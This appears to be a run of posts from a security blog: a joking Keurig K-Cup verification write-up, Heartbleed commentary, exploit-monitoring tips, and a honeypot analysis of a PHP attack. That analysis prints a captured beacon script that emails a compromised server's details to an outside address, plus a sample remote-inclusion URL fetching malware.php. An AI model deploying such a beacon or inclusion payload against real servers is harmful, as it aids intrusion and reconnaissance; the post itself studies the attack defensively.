Keurig 2.0 Genuine K-Cup Spoofing Vulnerability

Hello Slashdot! I apologize if the blog runs slow under the heavy load! -Ken

Overview

Keurig 2.0 Coffee Maker contains a vulnerability in which the authenticity of coffee pods, known as K-Cups, uses weak verification methods, which are subject to a spoofing attack through re-use of a previously verified K-Cup.

Impact

CVSS Base Score: 4.9
Impact Subscore: 6.9
Exploitability Subscore: 3.9

Access Vector: Local
Access Complexity: Low
Authentication: None

Confidentiality Impact: None
Integrity Impact: Complete
Availability Impact: None

Vulnerable Versions
Keurig 2.0 Coffee Maker

Technical Details

Keurig 2.0 is designed to only use genuine Keurig approved coffee K-Cups. However, a flaw in the verification method allows an attacker to use unauthorized K-Cups. The Keurig 2.0 does not verify that the K-Cup foil lid used for verification is not re-used.

Step 1: Attacker uses a genuine K-Cup in the Keurig machine to brew coffee or hot chocolate.
Step 2: After brewing is complete, attacker removes the genuine K-Cup from the Keurig and uses a knife or scissors to carefully remove the full foil lid from the K-Cup, ensuring to keep the full edges intact. Attacker keeps this for use in the attack.
Step 3: Attacker inserts a non-genuine K-Cup in the Keurig, and closes the lid. Attacker should receive an "oops" error message stating that the K-Cup is not genuine.
Step 4: Attacker opens the Keurig, leaving the non-genuine K-Cup in the Keurig, and carefully places the previously saved genuine K-Cup lid on top of the non-genuine K-Cup, lining up the puncture hole to keep the lid in place.
Step 5: Attacker closes the Keurig, and is able to brew coffee using the non-genuine K-Cup.

Since no fix is currently available, owners of Keurig 2.0 systems may wish to take additional steps to secure the device, such as keeping the device in a locked cabinet, or using a cable lock to prevent the device from being plugged in when not being used by an authorized user.

Please note that a proof of concept is already available online.

Credit: 
Proof of concept at http://www.keurighack.com/
Vulnerability Writeup by Ken Buckler, Caffeine Security http://caffeinesecurity.blogspot.com

NOTE: There has been some question regarding the video and who made it. This is not the security researcher you're looking for. I am not the person who created the video, and only found the KeurigHack website after I discovered this vulnerability on my own. To whoever created the website, great job!

Third Party Security Vulnerabilities - How Late is Too Late?

By now, I'm sure you've heard about the nightmare that is the Heartbleed bug.

One of the biggest problems with this bug is that OpenSSL is integrated into a lot of software, which means not only do you need to update any copies of OpenSSL, but you need to update software products which use OpenSSL.

Almost three weeks have gone by, and we're still seeing companies releasing updates to address this critical vulnerability.

This means for three weeks after public disclosure, products have been vulnerable without any means of fixing the problem.

Is it time to re-evaluate what is an acceptable time period for a company to release a security update to third party libraries?

A Look At A Simple PHP Cross Site Scripting Attack

Someone was recently kind enough to attack my honeypot with an extremely simple PHP cross site scripting attack, suitable for teaching others.

How does a PHP cross site scripting attack work? Some PHP scripts allow loading of external scripts through special HTTP parameters. For example, am attacker could invoke a PHP cross site scripting attack against a vulnerable file using a URL such as:

http://myhoneypot.net/scripts/php/vulnerablescript.php?src=http://malwaresite.info/malware.php

The above attack would result in vulnerablescript.php executing malware.php.

One of the simplest attacks I've seen is detailed in the following lines:

<?php
$language = 'eng';
$auth     = 0;
$name     = ''; // md5 Login
$pass     = ''; // md5 Password
/**************************************************************************************************************************************************************/
error_reporting(0);
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode ='setoran @'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = 'komixobh@gmail.com';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Ni Bos Link Nya : ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Yang Gunain : $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode
Reply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
?> 

In this attack, the server sends an email message to komixobh@gmail.com providing the server name and URL exploited. This effectively tells the attacker where their scanning script succeeded, so that they can attack with more advanced scripts.

Quite genius really, don't let the server admin see your full capabilities in case it's a honeypot. Unfortunately for our attacker, this script reveals his email address (komixobh@gmail.com) which is being posted publicly on my blog. My blog is frequented by spam crawlers on a regular basis, so hopefully komixobh enjoys speaking with Nigerian Princes and receiving offers for male "enhancement" drugs.

The exploit really is that simple though, write a PHP script, upload it somewhere, and exploit vulnerable scripts with cross site scripting.

This is why it's important to always maintain current security patches, and follow vendor and industry best practices for securing your web applications.

You can see more example PHP scripts at my Malware Analysis Google Code page.

IE Zero Day and Increase in Global Malware Indicators

A look at the last 30 days of web searches for common malware infection indicators shows that the Internet Explorer Zero Day vulnerability has been in the wild since possibly September 12, 2012, or possibly as far back as September 8.

On September 11, the indicator search volume was at 67 on a sliding scale.  As of September 16, 2012 (the last day Google provides search data for at this time), the search volume had increased to 94.

The search volume had peaked on September 2, and was on a fairly steady decline since, with the exception of a brief spike in search activity on September 8.

IE Zero Day Exploit in the Wild

There is an IE exploit in the wild which affects IE 7, 8, and 9.

For more information, see the SANS ISC post.

Sony BRAVIA TV Datagram Flooding Denial of Service

Here's an interesting vulnerability...

Who would have thought you'd need to worry about your TV being subject to an attack?

A vulnerability has been reported in Sony BRAVIA TV, which can be exploited by malicious people to cause a DoS (Denial of Service).

Source: Secunia Advisory SA48705

New @CaffSec Twitter Feature: #exploitAlert

I've taken the Google Alert "zero day" exploit feed and created automated Twitter notifications.

You can get updated #exploitAlert notifications by following my Twitter account, @CaffSec.

The feed currently monitors PasteBin for new exploits.  Expect additional feeds soon!

Monitoring for New Zero Day Exploits through Google Alerts

In case you haven't read it, I previously posted a how-to for using Google Alerts to monitor for misuse of your personal information...

Misuse of Your Personal Information and Google Alerts

Today I'm going to expand on that post, and show how advanced Google search strings can be used to monitor for other things, such as when new zero day exploits are posted publicly to Pastebin.

For those not familiar with it, Pastebin is a large site which allows anyone to post large amounts of text.  One of the common uses for this site is the public disclosure of new vulnerabilities and exploits.

To leverage some of the more powerful features of Google, use advanced search syntax to narrow your search.  An excellent quick reference is available at Google Guide.

Using our previous method to create an "As it happens" alert, let's try writing a custom query which monitors for new exploits...

intext:exploit OR intext:vulnerability OR intext:"zero day" OR intext:"0day" site:pastebin.com

Further tweaking will allow you to target a specific software or manufacturer, such as...

intext:microsoft intext:exploit OR intext:vulnerability OR intext:"zero day" OR intext:"0day" site:pastebin.com

I have provided an example RSS feed for a wide zero day search here.

Of course, this won't give you up-to-the-minute searching of Pastebin, but it's better than not monitoring at all.